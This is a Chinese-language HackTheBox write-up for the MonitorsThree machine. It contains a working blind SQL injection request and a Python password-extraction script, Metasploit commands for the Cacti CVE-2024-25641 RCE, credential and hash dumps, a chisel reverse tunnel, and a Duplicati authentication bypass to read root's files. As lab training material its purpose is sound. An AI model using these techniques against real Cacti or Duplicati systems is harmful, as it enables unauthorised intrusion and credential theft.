HacktheBox-Monitorsthree

前言

这个前面和后面都不太好操作,会很卡。而且做的时候也没有太多的参考,思路很混乱,这份整理之后的wp也是,凑活看看吧。

信息搜集

只有 22 和 80 端口,扫描时显示了 host,绑定一下 monitorsthree.htb

子域名扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gobuster vhost -u http://monitorsthree.htb --append-domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://monitorsthree.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 675 / 4990 (13.53%)[ERROR] Get "http://cacti.monitorsthree.htb/cacti/": dial tcp: lookup cacti.monitorsthree.htb on 10.0.0.2:53: no such host

扫到了子域名,添加下对应的子域名。
一个 cms,继续下信息搜集。
image.png
searchsploit 搜索下。

1
searchsploit cacti

没有满足 1.2.26 的版本的漏洞,那估计就要上 github 上找下。

RCE vulnerability when importing packages

后面又找到了相关的 msf 的 poc:

💀 Exploit for Cacti Import Packages RCE CVE-2024-25641

为 msf 安装新 Module

首先找到自己的 msf 安装位置。

1
2
3
which msfconsole # 找到对应位置
cd /etc/alternatives # 前往对应位置
ls -al | grep "msfconsole" # 找到原始位置

image.png
然后前往对应目录搜索 modules:

1
cd /usr/share/metasploit-framework/

按照归类放入对应文件夹,对应文件:

1
exploit/multi/http/cacti_package_import_rce

注意文件后缀是cacti_package_import_rce.rb
写入之后记得到 msf 里面刷新:

1
reload_all

然后再搜索即可,但是这里这个我并没有成功,于是我选择了更新一下 msf 版本然后再刷新一下,就有了。(但似乎是更新带的)
image.png
但是在这之前需要先得到密码,sqlmap 可以在 username 处跑出来,但是由于地域限制,超长延迟加时间盲注将会让你的虚拟机达到新的高潮。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /forgot_password.php HTTP/1.1
Host: monitorsthree.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Origin: http://monitorsthree.htb
Connection: close
Referer: http://monitorsthree.htb/forgot_password.php
Cookie: PHPSESSID=mg28h4s5o8hfq4u460gthel2d5
Upgrade-Insecure-Requests: 1

username=x' AND (SELECT 2000 FROM (SELECT(SLEEP(2)))GcxH) AND 'DeaG'='DeaG

类似就能写出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import string
import requests

URL = 'http://monitorsthree.htb/forgot_password.php'
CHARSET = "," + string.ascii_letters + string.digits + "_"
SUCCESS = 'Successfully sent password'

# [46] id,username,email,password,name,position,dob,si
PAYLOAD = "admin' AND SUBSTR(password,{},1)='{}' -- -"

password = ''
with requests.Session() as session:
while True:
for char in CHARSET:
password_i = len(password)
# resp = session.post(URL, data={'username': PAYLOAD.format(password + char)})
resp = session.post(URL, data={'username': PAYLOAD.format(password_i + 1, char)})
print(f'\r[{password_i}] {password}{char}', end='')
if SUCCESS in resp.text:
password += char
break
else:
break

print(f'\r[{password_i}] {password} | {char}')
1
2
3
4
5
6
7
8
9
10
11
12
13
# mysql -u app_user -p
# show databases;
# use monitorsthree_db;
# show tables;
# select * from users;
+----+-----------+-----------------------------+----------------------------------+-------------------+-----------------------+------------+------------+-----------+
| id | username | email | password | name | position | dob | start_date | salary |
+----+-----------+-----------------------------+----------------------------------+-------------------+-----------------------+------------+------------+-----------+
| 2 | admin | admin@monitorsthree.htb | 31a181c8372e3afc59dab863430610e8 | Marcus Higgins | Super User | 1978-04-25 | 2021-01-12 | 320800.00 |
| 5 | mwatson | mwatson@monitorsthree.htb | c585d01f2eb3e6e1073e92023088a3dd | Michael Watson | Website Administrator | 1985-02-15 | 2021-05-10 | 75000.00 |
| 6 | janderson | janderson@monitorsthree.htb | 1e68b6eb86b45f6d92f8f292428f77ac | Jennifer Anderson | Network Engineer | 1990-07-30 | 2021-06-20 | 68000.00 |
| 7 | dthompson | dthompson@monitorsthree.htb | 633b683cc128fe244b00f176c8a950f5 | David Thompson | Database Manager | 1982-11-23 | 2022-09-15 | 83000.00 |
+----+-----------+-----------------------------+----------------------------------+-------------------+-----------------------+------------+------------+-----------+
1
31a181c8372e3afc59dab863430610e8:greencacti2001

我这个 hashcat 怎么跑不出来,难道我的是假🐱?

User

按照账号密码输入参数

1
2
3
4
5
6
use multi/http/cacti_package_import_rce
options # 查看配置
set LHOST 10.10.14.55
set RHOST 10.10.11.30
set PASSWORD greencacti2001
run

然后得到 www-data的权限。
image.png
加固下 shell

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

/var/www/html/app/admin可以得到配置信息,这个 app 文件夹很显然就是主网站。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$dsn = 'mysql:host=127.0.0.1;port=3306;dbname=monitorsthree_db';
$username = 'app_user';
$password = 'php_app_password';
$options = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
];

try {
$pdo = new PDO($dsn, $username, $password, $options);
} catch (PDOException $e) {
echo 'Connection failed: ' . $e->getMessage();
}

app_user:php_app_password
然后我就卡住了,后面才知道这个用户看不到另一个数据库cacti

1
grep database ./include/config.php

image.png
cactiuser:cactiuser

1
2
3
4
5
6
7
8
9
10
11
show databases;
use cacti;
show tables;
select * from user_auth;
+----------+--------------------------------------------------------------+--------------------------+
| username | password | email_address |
+----------+--------------------------------------------------------------+--------------------------+
| admin | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G | marcus@monitorsthree.htb |
| guest | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu | guest@monitorsthree.htb |
| marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK | marcus@monitorsthree.htb |
+----------+--------------------------------------------------------------+--------------------------+
1
marcus:$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK:12345678910

home 下有 marcus 用户,所以这里得想办法往第一个 hash 上靠。
但是这里如果尝试密码登录是被禁止的:
image.png
这里对登录方式进行了限制,因此这里必须要用 su 更改用户:
image.png

PE 2 root

登上之后查看正在运行的端口:

1
2
3
4
5
6
7
8
9
10
11
12
netstat -tpln
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8200 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:46687 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN 3040/python3
tcp 0 0 0.0.0.0:8084 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -

发现内网有个 8200 端口。用 chisel 或者直接用 ssh 穿出隧道:

1
2
./chisel client -v 10.10.14.55:9292 R:9090:127.0.0.1:8200 # 远程
./chisel server -port 9292 --reverse # 本地

image.png
然后访问http://127.0.0.1:9090/login.html

Duplicati: Bypassing Login Authentication With Server-passphrase

先抓下盐值,注意如果实在无法操作可以看文末的盘外招部分。
照着操作即可:
image.png
登录进去管理系统后,然后创建备份。
image.png
选择对应的 root 文件,因为我们是在容器里所以是 source/root/root.txt
image.png
image.png
image.png
备份之后然后恢复文件。
image.png
image.png
image.png
image.png

BeyondRoot

当时做完已经挺晚了,等到多看几份 wp 的再补充。

盘外招

我更喜欢这个名字。

8200 端口服务密码:MonitorsThreeDuplicatiBackupPassword2024
提供给那些绕不过 Auth 认证的人。别的都挺好办的了。